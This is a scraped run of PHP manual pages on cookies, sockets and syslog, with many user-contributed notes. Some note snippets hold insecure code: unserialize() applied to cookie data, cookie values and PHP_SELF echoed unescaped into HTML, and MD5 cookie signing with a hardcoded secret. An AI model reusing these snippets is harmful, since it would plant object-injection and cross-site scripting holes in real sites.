    setcookie('!#$%&\'()*+-./:<>?@]^_`{|}~', 789);
    setcookie('!#$%&\'()*+-./:<>?@^_`{|}~', 'abc');
?>

then this:

<?php
    print_r($_COOKIE);
?>

you get this back:

<?php
Array
(
    [!#$%&'()*_-_/:<>?@] => Array
        (
            [0] => 123
        )

    [!#$%&'()*_-_/:<>?@_^_`{|}~] => 456
    [!#$%&'()*_-_/:<>?@]^_`{|}~] => 789
    [!#$%&'()*_-_/:<>?@^_`{|}~] => abc
)
?>

The rules would appear to be as follows:

- Convert all periods to underscores (as detailed below).
- Convert all plus signs to underscores.
- Convert all unmatched open square brackets to underscores.
- Square bracket pairs mean the value is an array; ignore everything after the closing square bracket.

Note that these rules are only applied by PHP when generating the $_COOKIE array; the cookie name part in the headers sent by your browser and as received by PHP are exactly as you specified above;

<?php
    echo $_SERVER['HTTP_COOKIE'];
?>

gives

<?php
    !#$%&'()*+-./:<>?@[]^_`{|}~=123; !#$%&'()*+-./:<>?@[^_`{|}~=456; !#$%&'()*+-./:<>?@]^_`{|}~=789; !#$%&'()*+-./:<>?@^_`{|}~=abc
?>

It would be nice if the official notes mentioned this conversion.
Anonymous 30-Jan-2019 03:49
I haven't seen this mentioned here and had a lot of issues (and created a lot of stupid hacks) before I figured this out.

If you have a couple of environments for example, and are trying to set cookies on two domains:

example.com (main site)
dev.example.com (dev site)

In this case your (same named) cookies will interfere with each other if you're trying to set cookies with the domain parameter.

Simply use an empty string for the domain parameter and the cookies will refer to each host separately.

If you use the subdomain www. on the main site this won't be an issue, but without a subdomain you'll have issues with reading each others' cookies.
stuff at joneva dot de 20-Sep-2017 09:58
How to store a cookie in php with JSON and read it in JavaScript correctly without using setcookieraw

$defaultActions = array(
                '1' => '0',
                '2' => '0',
                '3' => '0',
                '4' => '0',
                '5' => '0',
                '6' => '0',
                '7' => '0',
                '8' => '0',
                '9' => '0',
                '10' => '0'
            );
$json_str = json_encode($defaultActions);

//delete all cookies
if (isset($_SERVER['HTTP_COOKIE'])) {
    $cookies = explode(';', $_SERVER['HTTP_COOKIE']);
    foreach($cookies as $cookie) {
        $parts = explode('=', $cookie);
        $name = trim($parts[0]);
        setcookie($name, '', time()-1000);
        setcookie($name, '', time()-1000, '/');
    }
}
//setrawcookie("test", $json_str, false,"/",false);

setcookie("test", $json_str, false,"/",false);

?>

<script type="text/javascript">

    function getCookie(name) {
        var value = "; " + document.cookie;
        var parts = value.split("; " + name + "=");
        if (parts.length == 2)
            return parts.pop().split(";").shift();
    }

    console.log(decodeURIComponent(getCookie('test')));

</script>
nacho at casinelli dot com 12-Mar-2017 11:33
It's worth a mention: you should avoid dots on cookie names.

<?php
// this will actually set 'ace_fontSize' name:
setcookie( 'ace.fontSize', 18 );
?>
dont at mail dot me 08-Feb-2017 10:45
> "When deleting a cookie you should assure that the expiration date is in the past, to trigger the removal mechanism in your browser"

This part of the documentation is no longer accurate. On my version of PHP (5.6.28) setting a null, empty string or boolean false value causes the server to ignore your expire date parameter and always sends value "deleted" and expire date 1970-01-01 00:00:01.
lferro9000 at gmail dot com 20-Jan-2017 10:55
Of notice, the cookie when set with a zero expire or ommited WILL not expire when the browser closes.

What happens is that the browser, when closes the window, if it is a well behaved browser, will delete the cookie from the cookie store.

However, the cookie will survive in the server until the garbage collector removes the session, which will happen only when it kicks in and checks the specified session is out of bounds of the setting stated in:

http://php.net/manual/en/session.configuration.php#ini.session.gc-maxlifetime

Please check also:

http://php.net/manual/en/session.security.ini.php

And in case of doubt, PHP runs on the webserver and has no way whatsoever to interact with a browser apart from receiving requests and answering with responses, so assuming that a cookie will be removed from a browser is just an "hint" for the browser. There is no warranty that such will happen as instructed.

That is one of the reasons why the cookie values sent to browsers by some platforms are encrypted and timestamped, to ensure that they are actual and not tampered.
byz 23-Jul-2016 02:57
exmaple with test.com；

setcookie('empty_domain','value',time()+3600,'')
 equal       test.com

setcookie('test_com_domain','value',time()+3600,'','test.com')
equal       .test.com

setcookie('dot_test_com_domain','value',time()+3600,'','.test.com')
 equal       .test.com

ps:   .test.com   has its self    and child domain
dmitry dot koterov at gmail dot com 24-Jun-2015 05:38
Note that at least in PHP 5.5 setcookie() removes previously set cookies with the same name (even if you've set them via header()), so previously fired Set-Cookie headers with e.g. PHPSESSID name are not flushed to the browser. Even headers_list() doesn't see them after session_start():

header("Set-Cookie: PHPSESSID=abc; path=/; domain=.sub.domain.com");
header("Set-Cookie: PHPSESSID=abc; path=/; domain=.domain.com");
print_r(headers_list()); // here you see two Set-Cookie headers with domains for PHPSESSID
session_id('abc');
session_start();
print_r(headers_list()); // here you don't; you see only one Set-Cookie produced by session_start()
ellert at vankoperen dot nl 10-Jul-2014 10:58
Caveat: if you use URL RewriteRules to get stuff like this: domain.com/bla/stuf/etc into parameters, you might run into a hickup when setting cookies.
At least in my setup a change in one of the parameters resulted in the cookie not being 'there' anymore.
The fix is simple: specify the domain. '/' will usualy do fine.
walterquez 28-Sep-2012 04:43
Instead of this:
<?php setcookie( "TestCookie", $value, time()+(60*60*24*30) ); ?>

You can this:
<?php setcookie( "TestCookie", $value, strtotime( '+30 days' ) ); ?>
Bachsau 26-Jun-2012 01:49
Want to remove a cookie?

Many people do it the complicated way:
setcookie('name', 'content', time()-3600);

But why do you make it so complicated and risk it not working, when the client's time is wrong? Why fiddle around with time();

Here's the easiest way to unset a cookie:
setcookie('name', 'content', 1);

Thats it.
mkmohsinali at gmail dot com 28-Jul-2011 11:01
#cookies.php
/*This code will demonstrate use of cookies with PHP
It is very easy to understand and is better for beginner to
understand and get idea about power of cookies when used
with PHP.Here we give user a form to choose colors he/she
likes for website and when he/she visits site again within one
hour his/her settings are saved and read from cookie
and he/she doesn't have to set the page color and page
text color again.You can change time from 3600
seconds to whatever you deem appropriate in your case.
if you don't understand anything please email me*/

<?php
#checking if form has been submitted
if (isset($_POST['submitted'])){
#if yes (form is submitted) assign values from POST array to variables
$newbgColor=$_POST['bgColor'];
$newtxtColor=$_POST['txtColor'];
#set cookies
setcookie("bgColor",$newbgColor,time()+3600);
setcookie("txtColor",$newtxtColor,time()+3600);

}
#in case user has come for first time and cookies are not set then
if ((!isset($_COOKIE['bgColor']) ) && (!isset($_COOKIE['txtColor']))){
$bgColor = "Black";
$txtColor="White";
}
#if cookies are set then use them
else{
$bgColor = $_COOKIE['bgColor'];
$txtColor = $_COOKIE['txtColor'];
}
?>
<!-- HTML Page-->
<html>
<body bgcolor="<?php echo $bgColor ?>" text="<?php echo $txtColor ?>">
<form action= "<?php echo $_SERVER['PHP_SELF']; ?>" method ="POST">
<p>Body Color:</p>
<select name=bgColor>
<option value ="Red">Red</option>
<option value ="Green" selected>Green</option>
<option value ="Blue">Blue</option>
<option value ="Yellow">Yellow</option>
<option value ="Black">Black</option>
<option value ="Brown">Brown</option>
<option value ="White">White</option>
</select>
<p>Text Color:</p>
<select name=txtColor>
<tion value ="Red">Red</option>
<option value ="Green" selected>Green</option>
<option value ="Blue">Blue</option>
<option value ="Yellow">Yellow</option>
<option value ="Black">Black</option>
<option value ="Brown">Brown</option>
<option value ="White">White</option>
</select>
<input type ="hidden" name="submitted" value="true"></br>
<input type="submit" value="remind">
</form>
</body>
</html>
MrXCol 13-Jul-2011 08:27
If you're having problem with IE not accepting session cookies this could help:

It seems the IE (6, 7, 8 and 9) do not accept the part 'Expire=0' when setting a session cookie. To fix it just don't put any expire at all. The default behavior when the 'Expire' is not set is to set the cookie as a session one.

(Firefox doesn't complains, btw.)
chris at styl dot ee 31-May-2011 08:10
I was searching for a simple example of creating a cookie, storing a random number and updating it on refresh. I couldn't find one so I had to figure it out on my own....

- - - -
One thing to *NOTE* is technically you can't update a cookie, you can only overwrite it with a new one with the same name.

- - - -

This creates a random number, stores it in a cookie, then references it on refresh, checks for duplicates and does necessary correction, then stores it again, rinse and repeat...

<?php
ob_start();
$MaxCount = 4;// set the max of the counter, in my tests "4" = (0,1,2,3) I adjusted below (+1) to get a "real" 4 (0,1,2,3,4) this is in reality 5 keys to humans, you can adjust script to eliminate "0", but my script makes use of the "0"

$random =(rand()%($MaxCount+1));//give me a random number limited by the max, adding "1" because computers start counting at "0"

if(!isset($_COOKIE['random'])){// check if random number cookie is not set
    //echo"not set";
    setcookie('random', $random);//set the cookie for the first time
    }else{
    $lastRandom= $_COOKIE['random']; //hold the last number if it was set before
    if($lastRandom == $random){//some logic to avoid repeats
     if($random < $MaxCount){//if below max, add 1
        $random++;
        //echo "under the max, adding 1, ";
    }elseif($random >= ($MaxCount-1)){// if for some reason the random number is more than max or equal to it -1, and an additional -1 for max count in initial var (so in reality this -1 from intial max var, and -1 from $random which should be the same number)
            $random--;
            //echo "hit the max, subtracting 1, ";
        }else{
        $random++;
        //echo "no case match, adding 1, ";
        }
    //echo "(".$lastRandom.", ".$random. "), they matched initally - was it fixed?";
    }else{
    //echo "(".$lastRandom.", ".$random. "), they DO NOT match";
    setcookie('random', $random);
    }
    //echo"is set: {$_COOKIE['random']}";
}

ob_end_flush();

?>
bocian941 at pawno dot pl 24-Apr-2011 12:51
My 2 functions to use "live cookies":

<?php
    function SetCookieLive($name, $value='', $expire = 0, $path = '', $domain='', $secure=false, $httponly=false)
    {
        $_COOKIE[$name] = $value;
        return setcookie($name, $value, $expire, $path, $domain, $secure, $httponly);
    }

    function RemoveCookieLive($name)
    {
        unset($_COOKIE[$name]);
        return setcookie($name, NULL, -1);
    }
?>
jdknock (at) gMaIl (dot) com 09-Feb-2011 09:08
IE7 can have trouble with settings cookies that are embedded in an iframe. The problem lies with a W3C standard called Platform for Privacy Preferences or P3P for short.

To overcome, include the header:

header('P3P:CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"');

before setting the cookie.
RC 24-Sep-2010 07:50
For those of your banging your head as to why a cookie is not present when Internet Explorer 6 prints, the explanation is quite interesting. After a bit of investigation, a cookie with an expiration time other than 0 fails to be passed from IE6 to the server when printing. A cookie with an expiration time of 0 is sent.

Therefore:

setcookie("TestCookie", $value, time()+3600); //will not be sent from Print / Print Preview in IE6

setcookie("TestCookie", $value, 0); //will be sent from Print / Print Preview in IE6

I'll let everyone figure out who's bright idea it was to not send normal expiring cookies when printing in IE6...
Anonymous 10-Sep-2010 03:20
A period in a cookie name (like user.name) seems to show up in the $_COOKIE array as an underscore (so user_name). This means that for example $_COOKIE["user_name"] must be used to read a cookie that has been set with setcookie("user.name" ...), which is already rather confusing.

Furthermore the variable $_COOKIE["user_name"] will retain the value set by setcookie("user.name" ...) and no amount of calling setcookie("user_name" ...) will alter this value. This is rather trivially fixed by clearing the "user.name" cookie, but it can take a while to realize this since there's only "user_name" in $_COOKIE.

Hope this saves someone some time.
jay at w3prodigy dot com 17-May-2010 12:31
You can also delete cookies by supplying setcookie an empty value.

setcookie("w3p_cookie", "");
Eric 01-Nov-2009 10:57
The server my php code is running on has sessions disabled so I am forced to store a fair bit of arbitrary data in cookies.  Using array names was impractical and problematic, so I implemented a splitting routine.  I do not serialize any class instances, just arrays and simple objects.

In a nutshell, when setting a cookie value, I serialize it, gzcompress it, base64 encode it, break it into pieces and store it as a set of cookies.  To fetch the cookie value I get the named piece then iterate through piece names rebuilding the base64 data, then reverse the rest of the process.  The only other trick is deleting the pieces correctly.

Sessions are better, but if they are not available this is a viable alternative.  I chose gz over bz for compression because it looked faster with only slightly worse ratios.

Here is a simplified version of my implementation.  This is a good starting point but is not suitable for most uses.  For example, the domain and path are hard coded and no return values are checked for validity.

<?php
define( 'COOKIE_PORTIONS' , '_piece_' );

function clearpieces( $inKey , $inFirst ) {
    $expire = time()-3600;

    for ( $index = $inFirst ; array_key_exists( $inKey.COOKIE_PORTIONS.$index , $_COOKIE ) ; $index += 1 ) {
        setcookie( $inKey.COOKIE_PORTIONS.$index , '' , $expire , '/' , '' , 0 );
        unset( $_COOKIE[$inKey.COOKIE_PORTIONS.$index] );
    }
}

function clearcookie( $inKey ) {
    clearpieces( $inKey , 1 );
    setcookie( $inKey , '' , time()-3600 , '/' , '' , 0 );
    unset( $_COOKIE[$inKey] );
}

function storecookie( $inKey , $inValue , $inExpire ) {
    $decode = serialize( $inValue );
    $decode = gzcompress( $decode );
    $decode = base64_encode( $decode );

    $split = str_split( $decode , 4000 );//4k pieces
    $count = count( $split );

    for ( $index = 0 ; $index < $count ; $index += 1 ) {
        $result = setcookie( ( $index > 0 ) ? $inKey.COOKIE_PORTIONS.$index : $inKey , $split[$index] , $inExpire , '/' , '' , 0 );
    }

    clearpieces( $inKey , $count );
}

function fetchcookie( $inKey ) {
    $decode = $_COOKIE[$inKey];

    for ( $index = 1 ; array_key_exists( $inKey.COOKIE_PORTIONS.$index , $_COOKIE ) ; $index += 1 ) {
        $decode .= $_COOKIE[$inKey.COOKIE_PORTIONS.$index];
    }

    $decode = base64_decode( $decode );
    $decode = gzuncompress( $decode );

    return unserialize( $decode );
}
?>
laffen 27-May-2009 01:49
Note that the $_COOKIE variable not will hold multiple cookies with the same name. It is legitimate to set two cookies with the same name to the same host where the sub domain is different.
<?php
setcookie("testcookie", "value1hostonly", time(), "/", ".example.com", 0, true);
setcookie("testcookie", "value2subdom", time(), "/", "subdom.example.com", 0, true);
?>
The next request from the browser will have both cookies in the $_SERVER['HTTP_COOKIE'] variable, but only one of them will be found in the $_COOKIE variable. Requests to subdom.example.com will have both cookies, while browser request to example.com or www.example.com only sends the cookie with the "value1hostonly" value.

<?php
$kaker = explode(";", $_SERVER['HTTP_COOKIE']);
foreach($kaker as $val){
    $k = explode("=", $val);
    echo trim($k[0]) . " => " . $k[1];
}

// output
testcookie => value1hostonly
testcookie => value2subdom

?>
isooik at gmail-antispam dot com 26-Feb-2008 05:18
Here's a more advanced version of the php setcookie() alternative function:

<?php

    /**
     * A better alternative (RFC 2109 compatible) to the php setcookie() function
     *
     * @param string Name of the cookie
     * @param string Value of the cookie
     * @param int Lifetime of the cookie
     * @param string Path where the cookie can be used
     * @param string Domain which can read the cookie
     * @param bool Secure mode?
     * @param bool Only allow HTTP usage?
     * @return bool True or false whether the method has successfully run
     */
    function createCookie($name, $value='', $maxage=0, $path='', $domain='', $secure=false, $HTTPOnly=false)
    {
        $ob = ini_get('output_buffering');

        // Abort the method if headers have already been sent, except when output buffering has been enabled
        if ( headers_sent() && (bool) $ob === false || strtolower($ob) == 'off' )
            return false;

        if ( !empty($domain) )
        {
            // Fix the domain to accept domains with and without 'www.'.
            if ( strtolower( substr($domain, 0, 4) ) == 'www.' ) $domain = substr($domain, 4);
            // Add the dot prefix to ensure compatibility with subdomains
            if ( substr($domain, 0, 1) != '.' ) $domain = '.'.$domain;

            // Remove port information.
            $port = strpos($domain, ':');

            if ( $port !== false ) $domain = substr($domain, 0, $port);
        }

        // Prevent "headers already sent" error with utf8 support (BOM)
        //if ( utf8_support ) header('Content-Type: text/html; CHARSET=shift-jis');

        header('Set-Cookie: '.rawurlencode($name).'='.rawurlencode($value)
                                    .(empty($domain) ? '' : '; Domain='.$domain)
                                    .(empty($maxage) ? '' : '; Max-Age='.$maxage)
                                    .(empty($path) ? '' : '; Path='.$path)
                                    .(!$secure ? '' : '; Secure')
                                    .(!$HTTPOnly ? '' : '; HttpOnly'), false);
        return true;
    }

?>

Regards,
Isaak
cwillard at fastmail dot fm 22-Aug-2007 07:55
If you're looking to set multiple values in your cookie (rather than setting multiple cookies) you might find these useful.

<?php
function build_cookie($var_array) {
  if (is_array($var_array)) {
    foreach ($var_array as $index => $data) {
      $out.= ($data!="") ? $index."=".$data."|" : "";
    }
  }
  return rtrim($out,"|");
}

function break_cookie ($cookie_string) {
  $array=explode("|",$cookie_string);
  foreach ($array as $i=>$stuff) {
    $stuff=explode("=",$stuff);
    $array[$stuff[0]]=$stuff[1];
    unset($array[$i]);
  }
  return $array;
}
?>
Hopefully someone finds these useful.
bluewaterbob 12-Jul-2007 11:51
if you are having problems seeing cookies sometimes or deleting cookies sometimes, despite following the advice below, make sure you are setting the cookie with the domain argument. Set it with the dot before the domain as the examples show: ".example.com".  I wasn't specifying the domain, and finally realized I was setting the cookie when the browser url had the http://www.example.com and later trying to delete it when the url didn't have the www. ie. http://example.com. This also caused the page to be unable to find the cookie when the www. wasn't in the domain.  (When you add the domain argument to the setcookie code that creates the cookie, make sure you also add it to the code that deletes the cookie.)
jonathan dot bergeron at rve dot ulaval dot ca 24-May-2007 12:05
About the delete part, I found that Firefox only remove the cookie when you submit the same values for all parameters, except the date, which sould be in the past. Submiting blank values didn't work for me.

Example :
- set -

<?php setcookie( "name", "value", "future_timestamp", "path", "domain" ); ?>

- delete -
<?php setcookie( "name", "value", "past_timestamp", "path", "domain" ); ?>

Jonathan
mike 26-Mar-2007 08:00
Be careful of using the same cookie name in subdirectories. Setting a simple cookie

<?php setcookie("region", $_GET['set_region']); ?>

both in the root / and for instance in this case /admin/ will create 2 cookies with different paths. In reading the cookies back only the first one is read regardless of path.
21-Mar-2007 02:40
if you only want to do something once per unique visitor, you can test if a cookie is set, and if not, set the cookie and perform the action. This being the poorman's version, it has a problem, where if a user is blocking cookies they will appear as a first time visitor each time. What you can do to avoid this is to set a test cookie first and check that it exists. If it exists, then check to see if your second cookie has been set. If the first one is set, but the second isn't, then you know this is a first time visitor.
gabe at fijiwebdesign dot com 25-Feb-2007 07:25
If you want to delete all cookies on your domain, you may want to use the value of:

<?php $_SERVER['HTTP_COOKIE'] ?>

rather than:

<?php $_COOKIE ?>

to dertermine the cookie names.
If cookie names are in Array notation, eg: user[username]
Then PHP will automatically create a corresponding array in $_COOKIE. Instead use $_SERVER['HTTP_COOKIE'] as it mirrors the actual HTTP Request header.

<?php

// unset cookies
if (isset($_SERVER['HTTP_COOKIE'])) {
    $cookies = explode(';', $_SERVER['HTTP_COOKIE']);
    foreach($cookies as $cookie) {
        $parts = explode('=', $cookie);
        $name = trim($parts[0]);
        setcookie($name, '', time()-1000);
        setcookie($name, '', time()-1000, '/');
    }
}

?>
08-Feb-2007 05:13
something that wasn't made clear to me here and totally confused me for a while was that domain names must contain at least two dots (.), hence 'localhost' is invalid and the browser will refuse to set the cookie! instead for localhost you should use false.

to make your code work on both localhost and a proper domain, you can do this:

<?php

$domain = ($_SERVER['HTTP_HOST'] != 'localhost') ? $_SERVER['HTTP_HOST'] : false;
setcookie('cookiename', 'data', time()+60*60*24*365, '/', $domain, false);

?>
ahmetantmen at msn dot com 19-Jan-2007 03:36
You can be sure about the cookie files contents weren't changed.

<?php

$Seperator = '--';
$uniqueID = 'Ju?hG&F0yh9?=/6*GVfd-d8u6f86hp';
$Data = 'Ahmet '.md5('123456789');

setcookie('VerifyUser', $Data.$Seperator.md5($Data.$uniqueID));

if ($_COOKIE) {
   $Cut = explode($Seperator, $_COOKIE['VerifyUser']);
   if (md5($Cut[0].$uniqueID) === $Cut[1]) {
       $_COOKIE['VerifyUser'] = $Cut[0];
   } else {
       die('Cookie data is invalid!!!');
   }
}

echo $_COOKIE['VerifyUser'];

?>

Create a unique id for your site and create a hash with md5($Data.$uniqueID). Attacker can understant that it must be re-hash after change cookie content.
But doesn't. Because cannot guess your unique id. Seperate your hash and data with seperator and send that cookie. Control that hash of returned value and your unique id's is same returned hash. Otherwise you have to stop attack. Sorry for my poor english!
stovenator at gmail dot com 12-Jan-2007 06:54
If you are having issues with IE7 and setcookie(), be sure to verify that the cookie is set via http for http sites, and https for https site.

Also, if the time is incorrect on your server, IE7 will also disallow those cookies from being set.
paul nospam AT nospam sitepoint dot com 06-Dec-2006 08:59
Note when setting "array cookies" that a separate cookie is set for each element of the array.

On high traffic sites, this can substantially increase the size of subsequent HTTP requests from clients (including requests for static content on the same domain).

More importantly though, the cookie specification says that browsers need only accept 20 cookies per domain.  This limit is increased to 50 by Firefox, and to 30 by Opera, but IE6 and IE7 enforce the limit of 20 cookie per domain.  Any cookies beyond this limit will either knock out an older cookie or be ignored/rejected by the browser.
hansel at gretel dot com 06-Nov-2006 08:12
The following code snippet combines abdullah's and Charles Martin's examples into a powerful combination function (and fixes at least one bug in the process):

<?php
  function set_cookie_fix_domain($Name, $Value = '', $Expires = 0, $Path = '', $Domain = '', $Secure = false, $HTTPOnly = false)
  {
    if (!empty($Domain))
    {
      // Fix the domain to accept domains with and without 'www.'.
      if (strtolower(substr($Domain, 0, 4)) == 'www.')  $Domain = substr($Domain, 4);
      $Domain = '.' . $Domain;

      // Remove port information.
      $Port = strpos($Domain, ':');
      if ($Port !== false)  $Domain = substr($Domain, 0, $Port);
    }

    header('Set-Cookie: ' . rawurlencode($Name) . '=' . rawurlencode($Value)
                          . (empty($Expires) ? '' : '; expires=' . gmdate('D, d-M-Y H:i:s', $Expires) . ' GMT')
                          . (empty($Path) ? '' : '; path=' . $Path)
                          . (empty($Domain) ? '' : '; domain=' . $Domain)
                          . (!$Secure ? '' : '; secure')
                          . (!$HTTPOnly ? '' : '; HttpOnly'), false);
  }
?>

Basically, if the domain parameter is supplied, it is converted to support a broader range of domains.  This behavior may or may not be desireable (e.g. could be a security problem depending on the server) but it makes cookie handling oh-so-much-nicer (IMO).
adruff at gmail dot com 05-Aug-2006 10:14
If you intend to use persistent cookies (vice session cookies that are deleted when the browser is closed) be aware:
1) Firefox appears to require that you include all paramaters, or it will ignore the expiration and treat the cookie as a session cookie
2) My version of firefox (1.5.0.6) defaults to 'keep cookies until i close firefox' , which essentially makes every cookie a session cookie. This of course sucks for devs, but i suppose is supposed to be a security feature for the end user. If the user wants to configure firefox to respect the expiration date and retain cookies beyond the session, the user must change it to 'keep cookies until they expire'.
gareth at gw126 dot com 05-Jun-2006 07:38
You can use cookies to prevent a browser refresh repeating some action from a form post... (providing the client is cookie enabled!)

<?php
//Flag up repeat actions (like credit card transaction, etc)
if(count($_POST)>0) {
    $lastpost= isset($_COOKIE['lastpost']) ? $_COOKIE['lastpost'] : '';
    if($lastpost!=md5(serialize($_POST))) {
        setcookie('lastpost', md5(serialize($_POST)));
        $_POST['_REPEATED']=0;
    } else {
        $_POST['_REPEATED']=1;
    }
}

//At this point, if $_POST['_REPEATED']==1, then  the user
//has hit the refresh button; so don't do any actions that you don't
//want to repeat!
?>

Hope that helps :)

Gareth
Carl V 07-Apr-2005 08:29
If you want to delete all the cookies set by your domain, you may run the following:

<?php
$cookiesSet = array_keys($_COOKIE);
for ($x=0;$x<count($cookiesSet);$x++) setcookie($cookiesSet[$x],"",time()-1);
?>

Very useful when doing logout scripts and the cookie name may have changed (long story).
apex at xepa dot nl 24-Nov-2003 06:59
Note on setting cookies allowing access to sites:

If you are not using something "personal" from the computer that you are sending the cookie too watch out.  Via javascript it is possible to steal cookies from other users.  Thus allowing the stealer to login to your site as another user that might not have access otherwise.  Try to add something like the user's ip in the cookie and allowing access from that ip only with the stored cookie data.

[Editor's note: ... or simply use sessions. You can't be sure that the visitor will use the same IP the next visit. Not even on the next request (thanks to proxy servers)]
30-Sep-2003 04:13
When using your cookies on a webserver that is not on the standard port 80, you should NOT include the :[port] in the "Cookie domain" parameter, since this would not be recognized correctly.
I had the issue working on a project that runs on multiple servers (development, production, etc.). One of the servers is running on a different port (together with other websites that run on the same server but on different ports).


値を URL エンコードせずにクッキーを送信する

  • ≪ setcookie
  • socket_get_status ≫
  • PHP Manual
  • ネットワーク 関数
  • 値を URL エンコードせずにクッキーを送信する

setrawcookie

(PHP 5, PHP 7, PHP 8)

setrawcookie — 値を URL エンコードせずにクッキーを送信する

説明

setrawcookie ( string $name , string $value = ? , int $expires = 0 , string $path = ? , string $domain = ? , bool $secure = false , bool $httponly = false ) : bool

PHP 7.3.0 以降で使える代替のシグネチャ:

setrawcookie ( string $name , string $value = ? , array $options = [] ) : bool

setrawcookie() は、 ブラウザに送信される際クッキーの値が自動的に URL エンコードされないことを除き、 setcookie() と等価です。

パラメータ

パラメータについての情報は setcookie() のドキュメントを参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.3.0 | options 配列をサポートする追加のシグネチャが追加されました。 このシグネチャは、SameSite クッキー属性の設定もサポートしています。

参考

  • setcookie() - クッキーを送信する

User Contributed Notes

sageptr at gmail dot com 16-Jul-2012 04:10
If you want to pass something and unserialize later, you should somehow sign value to ensure evil user don't modify it.
For example, calculate hash sha1($value.$securekey) and place it to different cookie. If cookie value mismatch hash - simple discard both.
This technique you can use in any case if you want to protect cookie from modification, but it can't protect from deletion or from setting to other valid cookie (old or stolen from other user).
kexianbin at diyism dot com 28-Dec-2011 07:35
my php cookie value encode function:

<?php
function encode_cookie_value($value)
         {return strtr($value,
                       array_combine(str_split($tmp=",; \t\r\n\013\014"),
                                     array_map('rawurlencode', str_split($tmp))
                                    )
                      );
         }
setrawcookie('kk', encode_cookie_value('jk=jk?jk-/":jk;jk jk,jk'));
?>
Sebastian 29-Jun-2011 04:59
You really shouldn't use (un)serialize with cookies. An evil user could inject ANY code in your script.
lgb 01-Oct-2009 01:53
After having several problems with this cookie thing, I'm using base64_encode on the data I put into a cookie, so I can avoid problems, I had before. I tried to set up cookie with data created by serialize() from a PHP array, but it did not work to be able to get it back, after I modified it to use value of base64_encode(serialize(...)) to set up the cookie, and unserialize(base64_decode(..)) to get back the value, everything started to work.
subs at voracity dot org 12-Dec-2006 05:31
setrawcookie() isn't entirely 'raw'. It will check the value for invalid characters, and then disallow the cookie if there are any. These are the invalid characters to keep in mind: ',;<space>\t\r\n\013\014'.

Note that comma, space and tab are three of the invalid characters. IE, Firefox and Opera work fine with these characters, and PHP reads cookies containing them fine as well. However, if you want to use these characters in cookies that you set from php, you need to use header().
Brian 10-Mar-2006 11:56
Firefox is following the real spec and does not decode '+' to space...in fact it further encodes them to '%2B' to store the cookie.  If you read a cookie using javascript and unescape it, all your spaces will be turned to '+'.
To fix this problem, use setrawcookie and rawurlencode:

<?php
setrawcookie('cookie_name', rawurlencode($value), time()+60*60*24*365);
?>

The only change is that spaces will be encoded to '%20' instead of '+' and will now decode properly.


stream_get_meta_data のエイリアス

  • ≪ setrawcookie
  • socket_set_blocking ≫
  • PHP Manual
  • ネットワーク 関数
  • stream_get_meta_data のエイリアス

socket_get_status

(PHP 4, PHP 5, PHP 7, PHP 8)

socket_get_status — stream_get_meta_data() のエイリアス

説明

この関数は次の関数のエイリアスです。 stream_get_meta_data().

User Contributed Notes

gtk at linux dot online dot no 20-Feb-2002 11:48
Note that if you set the socket non-blocking via socket_set_blocking() you cannot check if the socket has timed out with this function.

Example:

$status = socket_get_status($fp);

if ($status['timed_out']) {
    echo "socket timed out\n";
}

The above condition will never be true even if the socket has timed out.

I'm not sure if this behaviour is just not documented or a bug. Anyways I'm posting it here because it took some time to figure out.
corruptNOSPAMPLEASE at mod dot net 24-Jan-2002 05:51
This function worked for me under 4.0.4pl1

bytes_left function will tell you how many bytes are left in the buffer of socket $fp. It assumes you didn't make $fp global

function bytes_left($fp) {

  $status = socket_get_status ($fp);
  $bytes = $status["unread_bytes"];
  return $bytes;
}
rawb at rawb dot org 11-Dec-2000 03:30
sockets created using socket(), which are mostly used for listening for connections, are not friendly to this function, you will not get your expected results (if you get any results at all)


stream_set_blocking のエイリアス

  • ≪ socket_get_status
  • socket_set_timeout ≫
  • PHP Manual
  • ネットワーク 関数
  • stream_set_blocking のエイリアス

socket_set_blocking

(PHP 4, PHP 5, PHP 7, PHP 8)

socket_set_blocking — stream_set_blocking() のエイリアス

説明

この関数は次の関数のエイリアスです。 stream_set_blocking().

User Contributed Notes

There are no user contributed notes for this page.


stream_set_timeout のエイリアス

  • ≪ socket_set_blocking
  • syslog ≫
  • PHP Manual
  • ネットワーク 関数
  • stream_set_timeout のエイリアス

socket_set_timeout

(PHP 4, PHP 5, PHP 7, PHP 8)

socket_set_timeout — stream_set_timeout() のエイリアス

説明

この関数は次の関数のエイリアスです。 stream_set_timeout().

User Contributed Notes

There are no user contributed notes for this page.


システムログのメッセージを生成する

  • ≪ socket_set_timeout
  • RRD ≫
  • PHP Manual
  • ネットワーク 関数
  • システムログのメッセージを生成する

syslog

(PHP 4, PHP 5, PHP 7, PHP 8)

syslog — システムログのメッセージを生成する

説明

syslog ( int $priority , string $message ) : bool

syslog() はシステムログが出力するログメッセージを生成します。

ユーザー定義のログハンドラの設定に関する情報については、Unix マニュアルの syslog.conf (5) を参照ください。 syslog の facility と option に関するより詳細な情報は、 Unix マシンの syslog (3) にあります。

パラメータ

priority

priority は、容易さ (facility) とレベル (level) の組み合わせです。以下の値が使用できます。

syslog() の優先順位 (降順)
定数 | 説明
LOG_EMERG | システムは使用不可
LOG_ALERT | アクションを直ちにおこす必要がある
LOG_CRIT | 致命的な条件
LOG_ERR | エラーを発生する条件
LOG_WARNING | 警告を発生する条件
LOG_NOTICE | 通常の動作だが、特徴的な条件
LOG_INFO | 情報を与えるメッセージ
LOG_DEBUG | デバッグ用のメッセージ

message

残りの引数は送信するメッセージです。ただし、文字 %m は、errno の値に対応するエラーメッセージ文字列 (strerror) に置換されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 syslog() の使用例

<?php
// syslogをオープンし、プロセスIDをインクルードし、標準エラー出力にも
// ログを出力します。そして、ユーザー定義のログ記録機構を使用します。
openlog("myScriptLog", LOG_PID | LOG_PERROR, LOG_LOCAL0);

// 何らかのコード

if (authorized_client()) {
    // 何かをする
} else {
    // クライアントは未認証!
    // ログを記録する
    $access = date("Y/m/d H:i:s");
    syslog(LOG_WARNING, "Unauthorized client: $access {$_SERVER['REMOTE_ADDR']} ({$_SERVER['HTTP_USER_AGENT']})");
}

closelog();
?>

注意

Windows NT では、syslog サービスはイベントログを使用してエミュレートされます。

注意:

Windows 環境では、openlog() の facility パラメータに LOG_LOCAL0 から LOG_LOCAL7 までを使用することはできません。

参考

  • openlog() - システムのロガーへの接続をオープンする
